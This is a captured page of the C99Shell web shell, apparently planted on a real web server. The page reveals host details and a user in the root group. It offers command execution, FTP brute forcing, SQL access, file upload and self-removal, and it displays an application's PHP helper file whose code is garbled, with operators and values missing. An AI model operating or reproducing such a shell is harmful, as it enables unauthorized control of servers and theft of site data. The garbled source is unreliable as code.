!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/helpers/   drwxr-xr-x
Free 26.55 GB of 117.98 GB (22.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     files.php (13.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use Barryvdh\DomPDF\Facade\Pdf as PDF;
use 
App\Models\Preference;

if (!
function_exists('getFileIcon')) {
    
/**
     * getFileIcon method
     * Get awesome font (version 5) icon for files
     * @param string $file
     * @return string
     */
    
function getFileIcon($file null)
    {
        if (empty(
$file)) {
            return 
null;
        }

        
$ext strtolower(pathinfo($filePATHINFO_EXTENSION));
        switch (
$ext) {
            case 
'docx':
            case 
'doc':
                return 
'far fa-file-word';
                break;
            case 
'pdf':
                return 
'far fa-file-pdf';
                break;
            case 
'xlsx':
            case 
'xls':
            case 
'csv':
                return 
'far fa-file-excel';
                break;
            case 
'jpg':
            case 
'jpeg':
            case 
'png':
            case 
'gif':
                return 
'far fa-image';
                break;
            default:
                return 
'far fa-file';
        }
    }
}

if (!
function_exists('getFileIconAF4')) {
    
/**
     * getFileIconAF4 method
     * Get awesome font (version 4) icon for files
     * @param string $file
     * @return string
     */
    
function getFileIconAF4($file null)
    {

        if (empty(
$file)) {
            return 
null;
        }

        
$ext strtolower(pathinfo($filePATHINFO_EXTENSION));

        
$icon 'fa-paperclip';
        
$icons = array(
            
'audio' => 'fa-file-audio-o',
            
'mp3' => 'fa-file-audio-o',
            
'mp4' => 'fa-file-video-o',
            
'video' => 'fa-file-video-o',
            
'swf' => 'fa-film',
            
'image' => 'fa-file-image-o',
            
'gif' => 'fa-file-image-o',
            
'jpg' => 'fa-file-image-o',
            
'jpeg' => 'fa-file-image-o',
            
'png' => 'fa-file-image-o',
            
'pdf' => 'fa-file-pdf-o',
            
'text' => 'fa-file-text-o',
            
'txt' => 'fa-file-text-o',
            
'word' => 'fa-file-word-o',
            
'doc' => 'fa-file-word-o',
            
'docx' => 'fa-file-word-o',
            
'ppt' => 'fa-file-powerpoint-o',
            
'pptx' => 'fa-file-powerpoint-o',
            
'xls' => 'fa-file-excel-o',
            
'xlsx' => 'fa-file-excel-o',
            
'excel' => 'fa-file-excel-o',
            
'csv' => 'fa-file-excel-o',
            
'flv' => 'fa-film',
            
'avi' => 'fa-file-video-o',
            
'wmv' => 'fa-file-video-o',
            
'asf' => 'fa-file-video-o',
            
'mov' => 'fa-file-video-o',
            
'webm' => 'fa-file-video-o',
            
'm4v' => 'fa-file-video-o',
            
'ogg' => 'fa-file-video-o',
            
'ogv' => 'fa-file-video-o',
            
'mkv' => 'fa-file-video-o',
            
'3gp' => 'fa-file-video-o',
            
'zip' => 'fa-file-archive-o',
            
'rar' => 'fa-file-archive-o'
        
);

        if (
in_array($extarray_keys($icons))) {
            
$icon $icons[$ext];
        }

        return 
'<i class="fa ' $icon '"></i>';
    }
}

if (!
function_exists('checkFileValidation')) {
    
/**
     * Check File Validation
     *
     * @param string $ext
     * @param int $type
     * @return bool
     */
    
function checkFileValidation($ext$type 0)
    {
        return 
in_array(strtolower($ext), getFileExtensions($type)) ? true false;
    }
}

if (!
function_exists('fetchAllFileExtensions')) {
    
/**
     * Fetch File Extensions
     *
     * @return array
     */
    
function fetchAllFileExtensions()
    {
        
$extensions preference('file_extension');
        return !empty(
$extensions) ? json_decode($extensionstrue) :array(__('No Extension Available'));
    }
}

if (!
function_exists('checkNullExtension')) {
     
/**
     * Check Null Extension
     *
     * @return array
     */
    
function checkNullExtension($data)
    {
        return 
$data == null ? array(__('No Extension Available')) : $data;
    }

}

if (!
function_exists('getFileExtensions')) {
    
/**
     * Get File Extensions
     *
     * @param int $type
     * @return array
     */
    
function getFileExtensions($type 0)
    {
        
$extensions = array(
            
=> fetchAllFileExtensions(),
            
=> ['jpg''jpeg''png''gif''doc''docx''pdf'],
            
=> ['jpg''jpeg''png''gif''bmp'],
            
=> ['jpg''jpeg''png'],
            
=> ['ico'],
            
=> ['doc''docx''xls''xlsx''csv''pdf''mp4''3gp''zip'],
        );
        return 
$extensions[$type];
    }
}

if (!
function_exists('nameConversion')) {
    
/**
     * Name Conversion
     *
     * @param string $fileName
     * @return string
     */
    
function nameConversion($fileName)
    {
        if (
strlen($fileName) > 20) {
            
$charStart substr($fileName012);
            
$charEnd substr($fileName, -7);
            
$fileName $charStart '...' $charEnd;
        }
        return 
$fileName;
    }
}

if (!
function_exists('getSVGFlag')) {
    
/**
     * Get SVG Flag
     *
     * @param string $code
     * @return string
     */
    
function getSVGFlag($code 'en')
    {
        
$code strtolower($code);
        
$flags = array(
            
'ar' => 'sa',
            
'zh' => 'cn',
            
'en' => 'gb',
            
'hn' => 'in',
            
'rs' => 'ru',
            
'bn' => 'bd',
            
'ur' => 'pk',
            
'cs' => 'cz',
            
'zu' => 'za',
            
'aa' => 'dj',
            
'am' => 'et',
            
'ab' => 'ru',
            
'as' => 'in',
            
'ay' => 'bo',
            
'ba' => 'ru',
            
'ba' => 'ru',
            
'bh' => 'in',
            
'bi' => 'vu',
            
'br' => 'fr',
            
'ca' => 'es',
            
'co' => 'fr',
            
'cy' => 'gb',
            
'da' => 'dk',
            
'dz' => 'bt',
            
'el' => 'gr',
            
'et' => 'ee',
            
'fa' => 'ir',
            
'fy' => 'nl',
            
'ga' => 'ie',
            
'gd' => 'gb-sct',
            
'gn' => 'py',
            
'gu' => 'in',
            
'ha' => 'ne',
            
'hi' => 'in',
            
'hy' => 'am',
            
'in' => 'id',
            
'iw' => 'il',
            
'ja' => 'jp',
            
'ka' => 'ge',
            
'kk' => 'kz',
            
'kl' => 'gl',
            
'km' => 'kh',
            
'kn' => 'in',
            
'ko' => 'kr',
            
'ku' => 'iq',
            
'ky' => 'kg',
            
'la' => 'va',
            
'ln' => 'ca',
            
'mi' => 'nz',
            
'ml' => 'in',
            
'mo' => 'md',
            
'mr' => 'in',
            
'ms' => 'bn',
            
'my' => 'mm',
            
'ne' => 'np',
            
'oc' => 'es-ct',
            
'om' => 'et',
            
'pa' => 'in',
            
'ps' => 'af',
            
'rm' => 'ch',
            
'rn' => 'bl',
            
'sd' => 'pk',
            
'sg' => 'cf',
            
'sh' => 'rs',
            
'sl' => 'si',
            
'si' => 'lk',
            
'sm' => 'ws',
            
'sn' => 'zw',
            
'sq' => 'al',
            
'sr' => 'rs',
            
'ss' => 'sz',
            
'st' => 'ls',
            
'su' => 'id',
            
'sv' => 'se',
            
'sw' => 'tz',
            
'ta' => 'in',
            
'te' => 'in',
            
'tg' => 'tj',
            
'ti' => 'er',
            
'tk' => 'tm',
            
'tl' => 'ph',
            
'tn' => 'bw',
            
'tw' => 'gh',
            
'uk' => 'ua',
            
'ur' => 'pk',
            
'vi' => 'vn',
            
'wo' => 'sn',
            
'xh' => 'za',
            
'yo' => 'ng',
        );
        if (
in_array($codearray_keys($flags))) {
            return 
$flags[$code];
        }
        return 
$code;
    }
}

if (!
function_exists('createDirectory')) {
    
/**
     * create directory method
     * The a directory by the given path if not exists
     * @param string $path
     * @param int $permission
     * @return $path
     */
    
function createDirectory($path ''$permission null)
    {
        if (empty(
$path)) {
            return 
$path;
        }

        
$permission = empty($permission) ? config('app.filePermission') : $permission;

        if (!
file_exists($path)) {
            
mkdir($path$permissiontrue);
        }

        return 
$path;
    }
}

if (!
function_exists('printPDF')) {
    
/**
     * Print PDF
     *
     * @param object $data
     * @param string $filename
     * @param string $template
     * @param view $renderView
     * @param string|null $type
     * @param string|null $pdfVal
     *
     * @return response
     */
    
function printPDF($data$filename$template$renderView$type null$pdfVal null)
    {
        if (
strtolower($pdfVal) == "dompdf") {
            
$pdf PDF::loadView($template$data);
            
$pdf->setPaper(array(007501060), 'portrait');
            return (!empty(
$type) && $type == "print") ?  $pdf->stream($filename, array("Attachment" => 0)) :  $pdf->download($filename, array("Attachment" => 0));
        } else if (
$pdfVal == "email") {
            
$mpdf initializeMpdf();
            
$mpdf->WriteHTML($renderView);
            
$mpdf->Output($filename'F');
        } else {
            
$mpdf initializeMpdf();
            
$mpdf->WriteHTML($renderView);
            (!empty(
$type) && $type == "print") ? $mpdf->Output($filename'I') : $mpdf->Output($filename'D');
        }
    }
}

if (!
function_exists('initializeMpdf')) {
    
/**
     * Initialize Mpdf
     *
     * @return object
     */
    
function initializeMpdf()
    {
        
$path createDirectory("public/datta-able/pdf");

        
$defaultConfig = (new Mpdf\Config\ConfigVariables())->getDefaults();
        
$fontDirs $defaultConfig['fontDir'];

        
$defaultFontConfig = (new Mpdf\Config\FontVariables())->getDefaults();
        
$fontData $defaultFontConfig['fontdata'];

        
$mpdf = new \Mpdf\Mpdf([
            
'tempDir' => $path,
            
'mode'        => 'utf-8',
            
'format'      => 'A4',
            
'orientation' => 'P',
            
'fontDir' => array_merge($fontDirs, [public_path('datta-able/pdf/fonts/')]),
            
'fontdata' => $fontData + [
                
'nikosh' => [
                    
'R' => 'Nikosh.ttf',
                    
'useOTL' => 0xFF,
                ]
            ],
            
'default_font' => 'nikosh'
        
]);

        
$mpdf->autoScriptToLang         true;
        
$mpdf->autoLangToFont           true;
        
$mpdf->allow_charset_conversion false;

        return 
$mpdf;
    }
}

if (!
function_exists('getPdfFont')) {
    
/**
     * Get Pdf Font
     *
     * @return array
     */
    
function getPdfFont()
    {
        
$fontFamily = [];

        
$languageShortCode config('app.locale');
        switch (
$languageShortCode) {
            case 
'ar':
                
$fontFamily['name'] = "Tajawal" ", sans-serif";
                
$fontFamily['link'] = asset('public/dist/fonts/tajawal.css?v1');
                break;

            default:
                
$fontFamily['name'] = "Helvetica Neue" ", sans-serif";
                
$fontFamily['link'] = '#';
                break;
        }
        return 
$fontFamily;
    }
}

if (!
function_exists('maxFileSize')) {
    
/**
     * maxFileSize
     * @param  int $fileSize
     * @return string
     */
    
function maxFileSize($fileSize)
    {
        
$data = [];
        
$maxFileSize preference('file_size');
        if (isset(
$maxFileSize) && !empty($maxFileSize)) {
            
$maxFileSize = (int) $maxFileSize;
            if ((
$fileSize 1024) <= $maxFileSize 1024) {
                
$data['status'] = 1;
            } else if ((
$fileSize 1024) > $maxFileSize 1024) {
                
$data['status'] = 0;
                
$data['message'] = __('Maximum File Size :x MB.', ['x' => $maxFileSize]);
            }
            return 
$data;
        }
    }
}

if (!
function_exists('readCSVFile')) {
    
/**
     * Read a CSV file and return data as array
     *
     * @param string $csvFile csv file path
     * @return array
     */
    
function readCSVFile($csvFile$associative false$delimeter ",")
    {
        if (!
file_exists($csvFile) || !is_readable($csvFile)) {
            return 
false;
        }

        
$row 1;
        
$handle fopen($csvFile"r");
        
$out = array();
        while ((
$data fgetcsv($handle0$delimeter)) !== FALSE) {
            
$out[($row 1)] = $data;
            
$row++;
        }
        
fclose($handle);

        if (
$associative) {
            
$headers array_map('trim'array_shift($out));
            
$asso = array();
            foreach (
$out as $i => &$item) {
                foreach (
$item as $j => &$value) {
                    
$asso[$i][$headers[$j]] = $value;
                }
            }
            
$out $asso;
        }

        return 
$out;
    }
}

if (!
function_exists('getBackgroundImage')) {
    
/**
     * Convert back slash to forward
     * Common uses for background image
     *
     * @param string $url
     * @return string
     */
    
function getBackgroundImage($url)
    {
       return 
urlSlashReplace($url);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--